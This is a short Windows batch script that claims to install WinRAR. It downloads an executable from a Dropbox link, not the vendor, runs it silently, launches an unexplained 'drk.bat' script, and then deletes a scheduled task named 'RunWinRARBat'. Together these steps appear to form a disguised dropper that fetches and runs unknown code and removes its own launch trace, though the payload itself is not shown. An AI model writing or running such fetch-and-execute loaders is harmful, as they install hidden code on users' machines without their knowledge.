@echo off

rem --- Check if WinRAR is already installed ---
if exist "C:\Program Files\WinRAR\WinRAR.exe" (
    echo WinRAR is already installed, running drk.bat...
    goto runDrkBat
)

rem --- Download and Install WinRAR ---
set "winrar_url=https://www.dropbox.com/scl/fi/a3ty73ze62hvosdqz0y81/winrar-x64-701.exe?rlkey=yzo6ali9vck5gnwz8nwb7xke3&st=rjkenpzz&dl=1"
set "winrar_installer=C:\winrar-x64-701.exe"

powershell -command "Invoke-WebRequest -Uri '%winrar_url%' -OutFile '%winrar_installer%'"

rem --- Check if the download was successful ---
if exist "%winrar_installer%" (
    echo "WinRAR successfully downloaded to: %winrar_installer%"

    rem --- Perform silent installation of WinRAR ---
    echo "Installing WinRAR silently..."
    start /wait "" "%winrar_installer%" /S

    rem --- Check if WinRAR was installed successfully ---
    if exist "C:\Program Files\WinRAR\WinRAR.exe" (
        echo "WinRAR installed successfully, running drk.bat..."
        goto runDrkBat
    ) else (
        echo "WinRAR installation failed."
        exit /b
    )
) else (
    echo "WinRAR download failed!"
    exit /b
)

:runDrkBat
rem --- Run drk.bat if it exists in the same directory ---
set "current_dir=%~dp0"
if exist "%current_dir%\drk.bat" (
    echo Running drk.bat...
    start "" "%current_dir%\drk.bat"
) else (
    echo drk.bat not found in the current directory.
)

rem --- Remove the Task Scheduler task after installation ---
schtasks /delete /tn "RunWinRARBat" /f
echo Task removed successfully.
pause